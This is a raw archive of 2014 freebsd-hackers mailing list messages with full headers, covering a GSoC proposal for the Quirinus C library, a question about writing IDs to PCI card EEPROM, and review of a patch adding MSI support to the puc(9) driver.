[IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 03E16808 for ; Thu, 27 Feb 2014 09:34:34 +0000 (UTC) Received: from sender1.zohomail.com (sender1.zohomail.com [72.5.230.95]) by mx1.freebsd.org (Postfix) with ESMTP id D981211C1 for ; Thu, 27 Feb 2014 09:34:33 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=zapps768; d=zoho.com; h=message-id:date:from:user-agent:mime-version:to:subject:references:in-reply-to:content-type; b=f3eUPGrYG21zsptdqLE9wImOhWuByohNxwZMmMj/mpL5/DSD5+Fn4f/R7O0sjhkk3iJnE/zlTaCb ZxTLHETBc3powovvW4uRpNn+Tc+Q4VFei6oghx8LkSBDdFpZeErP Received: from [192.168.1.110] (194.42.110.4 [194.42.110.4]) by mx.zohomail.com with SMTPS id 1393493672391339.89314150528014; Thu, 27 Feb 2014 01:34:32 -0800 (PST) Message-ID: <530F06A7.3090005@zoho.com> Date: Thu, 27 Feb 2014 10:34:31 +0100 From: =?ISO-8859-2?Q?=A3ukasz_W=F3jcik?= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: GSoC proposal: Quirinus C library (qc) References: <530E3B09.2060602@zoho.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 8bit X-ZohoMailClient: External X-Zoho-Virus-Status: 2 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 09:34:34 -0000 W dniu 2014-02-26 21:02, Fernando Apesteguía pisze: > On Wed, Feb 26, 2014 at 8:05 PM, Łukasz Wójcik wrote: > >> W dniu 2014-02-25 09:24, Dmitry Selyutin pisze: >> >> Hello everyone! >>> >>> My name is Dmitry, I'm 22 years old student from Lomonosov Moscow State >>> University of Russia. This message is addressed mainly to C connoiseurs, >>> yet I think other people may find it interesting. It's a GSoC proposal. >>> It's a pity that for language like C we generally don't have something >>> universal like Boost, so we have to implement some common functions from >>> scratch or introduce new dependencies. We have Glib, which is used mainly >>> by Gnome developers (though it is a standalone library) and LGPL-ed, which >>> is not as liberal as Boost's license. We also have APR, which seems to be >>> a >>> bit more comprehensive and convenient, yet it is not so well-known as >>> Glib. >>> I'm in process of implementing a something like Boost for ANSI C (though I >>> don't pretend this library to share Boost's comprehensiveness). Several >>> ideas I find useful are: >>> >>> 1. Strict and universal interface. Each function begins with qc_ prefix, >>> followed by type if function is type-related. Most of types (except >>> enum-typedef'ed ones) have three common functions (replace _type_ with the >>> necessary type name, e.g. _bytes_): >>> a. Constructor: void * qc_type_construct(void). Allocate object >>> instance >>> and initialize it to default value. >>> b. Destructor: void qc_type_destruct(void * pointer). Deallocate memory >>> allocated for object and its members. >>> c. Replicator: void * qc_type_replicate(void const * pointer). >>> Replicate >>> object, copying its data to new allocated object, i.e. clone. >>> Most of types also have _import_ and _export_ functions, which allow to >>> fill allocated object with the desired data (e.g. fill bytes array from >>> null-terminated char string) or export data to another type. Almost all >>> enum-typedef'ed types also have _import_ and _export_ functions to >>> retrieve >>> a key value corresponding to string. >>> >>> 2. Common and universal error type, qc_error. Such errors can be generated >>> from errno values as well as from Windows API errors. >>> Almost all functions from qc library except for the three common functions >>> (constructor, destructor, replicator) return qc_error code and set >>> specific >>> qc_errno variable to this code. >>> It is now possible to write such constructions: >>> if (qc_bytes_import_str(bytes_instance, "Hello, world!")) >>> qc_errormsg(qc_errno, "error check"); >>> Global variable qc_errno is implemented in terms of multithreading >>> applications, it is unique for every running thread. >>> >>> 3. Clear distinction between byte and Unicode strings (qc_byte and qc_ucs >>> types for characters, where qc_byte has exactly 8-bit width and qc_ucs has >>> exactly 32-bit width). >>> Charsets are just enumeration, e.g. QC_ENCODING_UTF8, >>> QC_ENCODING_ISO_8859_4, etc., yet it is possible to lookup the desired >>> encoding using qc_encoding_import. If encoding is known under several >>> names, they are handled alltogether, i.e. QC_ENCODING_ASCII will be >>> returned for any of "ASCII", "iso-ir-6", "ANSI_X3.4-1968", "ISO646-US", >>> etc. Register doesn't matter. >>> Two new types, qc_bytes and qc_unicode are provided, in order to store >>> binary and Unicode data. It is possible to store null characters inside >>> such objects. It is similar to C++ string and C++ vector classes. >>> >>> 4. Universal file system path type. It is possible to achieve >>> cross-platformness using such path types, i.e. it is possible to make >>> directories, links, symlinks, remove files, directories, etc. regardless >>> of >>> platform path API. >>> >>> 5. i18n support must be embedded with qc library. Locales, timezones, day >>> and months names, etc. must be provided too, in several forms if >>> necessary. >>> i18n functions work with qc_unicode type, so charset conversion problems >>> won't exist. >>> >>> 6. Multithreading support if platform permits it. On POSIX we use >>> pthreads, >>> on Windows we use its API for multithreading. I'm also thinking about >>> green >>> threads implementation. Thread local storage is already implemented, yet >>> there is still a lot work to be done with threads, mutexes, etc. >>> >>> 7. Multiprecision arithmetics. I'm using GMP to achieve it, yet I'm >>> planning to switch to something BSD-like or to implement it from scratch >>> (that probably would be better, since library doesn't introduce any >>> dependencies except GMP). >>> >>> 8. Ternary logic almost everywhere. Being fan of Russian Setun computer, >>> I've started this library as implementation of ternary logic operations. >>> When I've realized that there is still much to be done in other fields, >>> I've already concluded that ternary logic is suitable for a wide set of >>> other operations, e.g. comparison, determining type of strings, >>> endianness, >>> etc. I think that I'll leave type qc_trit, since I've found it extremely >>> useful. >>> >>> 9. A lot of other things to be done, such as unified I/O streams which >>> provide compression/transformation filters, protocols, math library, etc. >>> >>> >>> Why I'm writing such letter to FreeBSD? I'm pretty sure that FreeBSD >>> highly >>> needs such library, since we try to use BSD-like license and yet to >>> implement things that exist in GNU world. The most common example is GNU >>> readline library, yet I think there is a lot of libraries that we >>> reimplemented just to let some projects suit BSD philosophy. We can make a >>> good library, which can be used a lot in different projects, yet it will >>> field everyone like Boost. The nature of C language itself helps us to >>> keep >>> this library much more tiny than Boost library; I also think that we can >>> limit our support with POSIX-(almost-)compatible platforms and Windows. >>> >>> I've already done a lot of work, but it is hard to make decisions without >>> advice or discussion, so I've thought about to enter GSoC this year like I >>> did two years ago when I've reimplemented gnulib-tool for FSF. This >>> project >>> is much more interesting for me, since I want to upgrade my C skills, get >>> known BSD world better and provide a good cross-platform library which may >>> be useful to almost everyone. Since I've already finished my volunteer's >>> job in Sochi (I've worked as technologist volunteer), I'm really want to >>> make something new for other people to be useful. >>> >>> If you are interested in my project, here is repository at GitHub: >>> https://github.com/ghostmansd/quirinus. I guess I'll later rename it to >>> https://github.com/ghostmansd/qc, yet it doesn't matters. If you're >>> interested in my previous GSoC work, you can find it here: >>> https://github.com/ghostmansd/gnulib-python. If you want to get to know >>> me >>> better from any side (my philological studies in Lomonosov Moscow >>> University, GSoC participation, Sochi volunteer job, etc.), you can write >>> me a email; I'd be very glad. >>> >>> Thanks for reading such a long letter! >>> >>> >> Hi Dmitry, >> >> I'd like to say I personally like the idea of having glibc counterpart in >> FreeBSD (and possibly other OSes). It's not quite sure though whether >> you're looking for help with development or review ? Perhaps with something >> else ? >> > > I suppose you mean _glib_ instead of glibc (our glibc counterpart is our > libc in base). > > The project sounds nice although a lot of features (like the error > treatment, multithreading support...) are already present in glib (and they > are very well tested). > > Cheers. Yes, of course, I meant glib. As you know it's much much more feature rich than standard libc, e.g. xml parsing, regular expressions, key-value parsers and many, many more. > > >> >> Sincerely, >> -ŁW >> >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 15:39:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C0F8B4CD for ; Thu, 27 Feb 2014 15:39:47 +0000 (UTC) Received: from mail-wi0-x231.google.com (mail-wi0-x231.google.com [IPv6:2a00:1450:400c:c05::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4E0E91175 for ; Thu, 27 Feb 2014 15:39:47 +0000 (UTC) Received: by mail-wi0-f177.google.com with SMTP id r20so840675wiv.10 for ; Thu, 27 Feb 2014 07:39:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; bh=cS6kWp9vxXJEXoqV3LhghMBCE5ZmxJIm5qVrNwSdEvY=; b=aTgIFAVKiziLSppADRO26A96muW3sClPrP5C1OgU00XuxvqMqKDk7Dz0BhmD63lzfP 1u3nzqUcNJFc63uer9f3v6h5oKQsijl5GNg7yizjYKWhYZL2QpOtZtzs5BPMjSn0CUPp Ia3geJODDwB3UpxnzLZ7sjwOV+1CMikrCVr5drEW0K+QtNkL+fEOUz7BR58y0nggZMH8 PGeNbopIUzK8dC8Njsd4clpVmjrEayeRKDVGcr8qJWL/l3K0FwZCNToly7bhsJI48kZJ uDhcYaC2ky+CHaWzrrkqX8QI2TGuoTf9ce7jhb6gY4FfPcsGUWZnGD2iZHrnHgkOAuAg EJPg== MIME-Version: 1.0 X-Received: by 10.194.110.135 with SMTP id ia7mr8432649wjb.5.1393515585675; Thu, 27 Feb 2014 07:39:45 -0800 (PST) Received: by 10.194.206.68 with HTTP; Thu, 27 Feb 2014 07:39:45 -0800 (PST) Received: by 10.194.206.68 with HTTP; Thu, 27 Feb 2014 07:39:45 -0800 (PST) Date: Thu, 27 Feb 2014 19:39:45 +0400 Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) From: Dmitry Selyutin To: hackers@freebsd.org, Jordan Hubbard , =?UTF-8?B?xYF1a2FzeiBXw7NqY2lr?= , =?UTF-8?Q?Fernando_Apestegu=C3=ADa?= X-Mailman-Approved-At: Thu, 27 Feb 2014 16:36:19 +0000 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 15:39:47 -0000 Hi Jordan, =C5=81ukasz, Fernando, thanks for your kind replies! There is a lot of questions, I will try to answer everything, if I miss anything, just let me know. :-) I will start with some fixes proposed by =C5=81ukasz. If you look into src/core/error/posix.c, you will find exactly what you have talked about (not sure if I have already pushed it though). I am going to switch to such style everywhere, that is just a matter of time. And yes, you are right with variable name :-) To Fernando: yes, I know about error treatment. The main goal of qc_error type is to provide more descriptive error codes than we have (e.g. we have EILSEQ, but that is not enough to know the real error in Unicode handling), also I wanted to provide a conversion algorithm that aims to make a mapping between POSIX and Windows (errno vs GetLastError). Now it is time for a long response to Jordan. First of all, I realize comprehensiveness of this project: no one will write Boost in three months. :-) Of course that will be just the beginning. The reason why I decided to try and join GSoC with this project is that I thought it may be to find someone who understands better both C and FreeBSD needs to guide me. I need a wise and experienced mentor who may give good advice or help me to select right way. As for the portability in terms of modules, I am planning to separate the project into modules such a qc/core.h|-lqc_core, qc/codecs.h|-lqc_codecs, etc. Of course I am afraid that sooner or later one module may require another one (e.g. file streams may require qcsys module, which contains qc_path-related functions); I am trying to avoid such problems even if sometimes it requires code duplication. You may see endianness detection inside qc_codecs_u16_decode, where I have stated that I would rather detect endianness here rather that call qc_sys_byteorder. I know that we must avoid code duplication; I think it is where we have to choose from two evils. As for strings, I will not use UTF-16 since it provides more problems rather than solutions. If I provide a function which accepts char* or char const* argument, I imply that such function uses only ASCII (may be I will change ASCII to UTF-8). Encoding is used only if a user has requested it explicitly; the only place where I have made exception is system path since path requires to be in UTF-16 on Windows. That is the reason why qc_path requires qc_codecs-related functions. i18n is one of the most complicated parts and is one of the main reasons why I have made a decision to write this library. We have ICU, which is =E2= =80=93 just in my opinion =E2=80=93 an ugly, dead-born monster mainly due to mix o= f C, C++ and Java concepts. It is well tested though, so we can just take all the best from it and never touch the rest. Since I have always thought that deeds speak louder than words (facta sunt potentiora uerbis). And I am pretty sure that good C library which was made by FreeBSD may persuade someone to migrate to it from Windows as it sometimes happens with people who have got addicted to bash. :-) At least, even if we drop Windows support (it seems, however, to be a bad idea to me), I think that we must support POSIX-compliant systems at least. As for GCD, I will think about it. That is the situation where we need to choose between new dependancy and reinventing a new wheel. Honestly, I have always thought that threads suck; I guess if this concept had been created nowadays, it would have not been such a bullshit. Thank you all for your replies again, especially to Jordan. If I missed anything, please remind me. Looking forward to your replies! Best regards, Dmitry Selyutin From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 18:15:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 429108C7; Thu, 27 Feb 2014 18:15:49 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1A4001516; Thu, 27 Feb 2014 18:15:48 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s1RIFlLd058864 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Feb 2014 10:15:48 -0800 (PST) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s1RIFlQW058863; Thu, 27 Feb 2014 10:15:47 -0800 (PST) (envelope-from jmg) Date: Thu, 27 Feb 2014 10:15:47 -0800 From: John-Mark Gurney To: Nomad Esst Subject: Re: Writting eeprom Message-ID: <20140227181547.GD47921@funkthat.com> Mail-Followup-To: Nomad Esst , "freebsd-hackers@freebsd.org" , "freebsd-drivers@freebsd.org" References: <1393481989.22330.YahooMailNeo@web162704.mail.bf1.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393481989.22330.YahooMailNeo@web162704.mail.bf1.yahoo.com> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Thu, 27 Feb 2014 10:15:48 -0800 (PST) Cc: "freebsd-hackers@freebsd.org" , "freebsd-drivers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 18:15:49 -0000 Nomad Esst wrote this message on Wed, Feb 26, 2014 at 22:19 -0800: > We want to add our own ID for each of our modules (pci cards), is it possible to write this ID on somewhere of the card like EEPROM? You need to be more specific in your question. Some pci cards do not have any EEPROM or programable memory on them, so it would be imposible to write to them... with out know which pci cards you are talking about it is not possible to answer your question.. You may have sent this to the wrong list since we don't know the context you are refering to.. -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 18:26:43 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D1AE7B71 for ; Thu, 27 Feb 2014 18:26:43 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8D30C1623 for ; Thu, 27 Feb 2014 18:26:43 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s1RIQgQE059013 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 27 Feb 2014 10:26:43 -0800 (PST) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s1RIQfW1059012; Thu, 27 Feb 2014 10:26:41 -0800 (PST) (envelope-from jmg) Date: Thu, 27 Feb 2014 10:26:41 -0800 From: John-Mark Gurney To: ghostmansd@gmail.com Subject: Re: GSoC proposal: Quirinus C library (qc) Message-ID: <20140227182641.GE47921@funkthat.com> Mail-Followup-To: ghostmansd@gmail.com, hackers@freebsd.org, Jordan Hubbard , ??ukasz =?iso-8859-1?Q?W=F3jcik?= , Fernando =?iso-8859-1?Q?Apestegu=EDa?= References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Thu, 27 Feb 2014 10:26:43 -0800 (PST) Cc: Jordan Hubbard , ??ukasz =?iso-8859-1?Q?W=F3jcik?= , hackers@freebsd.org, Fernando =?iso-8859-1?Q?Apestegu=EDa?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 18:26:43 -0000 Dmitry Selyutin wrote this message on Thu, Feb 27, 2014 at 19:39 +0400: > As for strings, I will not use UTF-16 since it provides more problems > rather than solutions. If I provide a function which accepts char* or char > const* argument, I imply that such function uses only ASCII (may be I will > change ASCII to UTF-8). Encoding is used only if a user has requested it > explicitly; the only place where I have made exception is system path since > path requires to be in UTF-16 on Windows. That is the reason why qc_path > requires qc_codecs-related functions. You do realize that FreeBSD does not enforce any coding on path names current, correct? So, requiring a coding format on FreeBSD (UTF-16) will mean some paths may not be accessible, since I assume you conver the UTF-16 string to UTF-8 before opening on FreeBSD... Hmm.. maybe it's time for a sysctl you can set on your system that only allows you to create UTF-8 valid names to allow people to slowly migrate to UTF-8? and a tool to report/convert old non-UTF-8 paths? -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 19:42:18 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C091EE5D for ; Thu, 27 Feb 2014 19:42:18 +0000 (UTC) Received: from mail-wi0-x22b.google.com (mail-wi0-x22b.google.com [IPv6:2a00:1450:400c:c05::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4EE571CF9 for ; Thu, 27 Feb 2014 19:42:18 +0000 (UTC) Received: by mail-wi0-f171.google.com with SMTP id cc10so7688798wib.10 for ; Thu, 27 Feb 2014 11:42:16 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:from:date:message-id :subject:to:content-type; bh=XcP0t9uU2WxIZa9BOKr5lBn2Xf/QpR2ERsDFd5S1sG0=; b=DUvyyAyuTJMym3JDsLFj3Pwg1f+iRtL6QnrzNIQG1/Hdk0tS93G0WHzZynQsW222bG 3YJ+DIo/ht9UCaVD9K0vREJVdKLTezwsILuKZ6v5aXATe0x86o05qZQLUAq2vx6gnE06 cViaIOKFqLhChBIdGIAl3wPlecp42/e9JdfkZNPGVke0uD4/iUtMKhuyFCD4gP+hZcOu sJYpwtEgAxclHZ2Z1AAZmgPG4PUG1+DHiPHI8KIvTNeHj1ND1ZQE0UaCMGayu8wvVN8u xfoxpV/YSHHTBMu4ctB4TzGa9Fn3ltOWD77D0TFhV9jJATQpqGGjjEScQCtGXj6giBOu IV2w== X-Received: by 10.194.110.135 with SMTP id ia7mr9675962wjb.5.1393530136513; Thu, 27 Feb 2014 11:42:16 -0800 (PST) MIME-Version: 1.0 Received: by 10.194.206.68 with HTTP; Thu, 27 Feb 2014 11:41:56 -0800 (PST) In-Reply-To: References: <20140227182641.GE47921@funkthat.com> From: Dmitry Selyutin Date: Thu, 27 Feb 2014 23:41:56 +0400 Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) To: hackers@freebsd.org, Jordan Hubbard , =?UTF-8?B?Pz91a2FzeiBXw7NqY2lr?= , =?UTF-8?Q?Fernando_Apestegu=C3=ADa?= , jmg@funkthat.com Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: ghostmansd@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 19:42:18 -0000 Ah, yes, I've misunderstood your question. Yes, on POSIX systems default encoding is taken from setlocale. Then qc_encoding_import converts encoding name to qc_encoding type or leaves it ASCII if it is impossible to find the desired encoding. So conversion from qc_unicode to qc_path is performed using default system encoding. On Windows thinks behave other way though. To summarize: POSIX: qc_path_import_str: copy characters from string to qc_path buffer. qc_path_import_wstr: convert wide string to qc_unicode, decode using locale encoding, copy raw bytes. qc_path_import_bytes: copy raw bytes to qc_path buffer. qc_path_import_unicode: decode using locale encoding, copy raw bytes. Windows: qc_path_import_str: convert to qc_bytes, call qc_path_import_bytes. qc_path_import_wstr: copy wide characters to qc_path buffer. qc_path_import_bytes: decode using UTF-8 encoding, convert to wide string, copy wide string to qc_path buffer. qc_path_import_unicode: convert to wide string, copy wide string char-by-char to qc_path buffer. This is how it works now, though I guess some details may be changed in future. 2014-02-27 22:48 GMT+04:00 Dmitry Selyutin : > Hi John-Mark. > > it seems I've stated things wrong or you've understood me incorrectly. :-) > Path will be in UTF-16 on Windows, otherwise it has pure bytes form, since > paths on POSIX are just sequence of bytes. AFAIK we can use UTF-8 for sure > in OS X though. > So, we have qc_byte for raw bytes (qc_byte == uint8_t), qc_ucs for Unicode > characters (qc_ucs == uint32_t), qc_bytes for raw byte strings, qc_unicode > for Unicode strings. Things get more compicated with paths though. Really > qc_path just stores void* pointer to byte array, which is UTF-16LE sequence > on Windows and raw byte sequence on other platforms. That opens a way to > write a set of platfrom-agnostic functions both on POSIX and Windows. > > > 2014-02-27 22:26 GMT+04:00 John-Mark Gurney : > > Dmitry Selyutin wrote this message on Thu, Feb 27, 2014 at 19:39 +0400: >> > As for strings, I will not use UTF-16 since it provides more problems >> > rather than solutions. If I provide a function which accepts char* or >> char >> > const* argument, I imply that such function uses only ASCII (may be I >> will >> > change ASCII to UTF-8). Encoding is used only if a user has requested it >> > explicitly; the only place where I have made exception is system path >> since >> > path requires to be in UTF-16 on Windows. That is the reason why qc_path >> > requires qc_codecs-related functions. >> >> You do realize that FreeBSD does not enforce any coding on path names >> current, correct? So, requiring a coding format on FreeBSD (UTF-16) >> will mean some paths may not be accessible, since I assume you conver >> the UTF-16 string to UTF-8 before opening on FreeBSD... >> >> Hmm.. maybe it's time for a sysctl you can set on your system that >> only allows you to create UTF-8 valid names to allow people to slowly >> migrate to UTF-8? and a tool to report/convert old non-UTF-8 paths? >> >> -- >> John-Mark Gurney Voice: +1 415 225 5579 >> >> "All that I will do, has been done, All that I have, has not." >> > > > > -- > With best regards, > Dmitry Selyutin > -- With best regards, Dmitry Selyutin From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 20:09:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1A7419E3 for ; Thu, 27 Feb 2014 20:09:25 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E77A3108B for ; Thu, 27 Feb 2014 20:09:24 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 466F2B97B; Thu, 27 Feb 2014 15:09:23 -0500 (EST) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: [PATCH] Add MSI support to puc(9) Date: Thu, 27 Feb 2014 13:30:02 -0500 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201402271330.02699.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 27 Feb 2014 15:09:23 -0500 (EST) Cc: Ryan Stone X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 20:09:25 -0000 On Wednesday, February 26, 2014 2:22:48 pm Ryan Stone wrote: > The Exar XR17V358 is a PCIe device and it supports a single MSI > interrupt. This patch will make puc(9) use an MSI interrupt on > devices that declare that they support it: > > http://people.freebsd.org/~rstone/patches/puc_msi.diff > > This patch may be overly paranoid; I was worried that it's wasn't > guaranteed that I could always call pci_alloc_msi() (forgetting that > the P in puc stands for PCI) so I added a new puc_cfg_cmd that > individual device config methods could implement to advertise support > rather than depending on pci_alloc_msi() to behave sanely. > > I have tested the patch on both a XR17V358 and a XR17V258 (which is a > legacy PCI device that does not support PCI) I would suggest reworking this so that you try MSI for all PCI devices. I would do this by removing the 'sc_irid = 0' from puc_bfe_attach() so that it can be set by callers. You could then add attach/detach routines in puc_pci.c that use pci_alloc_msi() and set sc_irid to 1 if MSI works. The sc_irid value would also work as a flag for knowing if detach needs to call pci_release_msi() (or puc_pci_attach() handling failure in puc_bfe_attach()) (though I wouldn't be opposed to keeping sc_msi as a separate flag). -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 21:09:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3C583C65 for ; Thu, 27 Feb 2014 21:09:52 +0000 (UTC) Received: from mail-vc0-x236.google.com (mail-vc0-x236.google.com [IPv6:2607:f8b0:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id F34A91607 for ; Thu, 27 Feb 2014 21:09:51 +0000 (UTC) Received: by mail-vc0-f182.google.com with SMTP id id10so3171992vcb.27 for ; Thu, 27 Feb 2014 13:09:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=V+lGyzQfLzdLOHU/9kCQ1rV8/BTE3OxPXVlEgOzyjnc=; b=TIvZSQ84PGZV2db7Ty3Vx4bqOvNs8SJGFsEnOjXOYWJax7FuUdmY8/ehBDd9WIrTHX 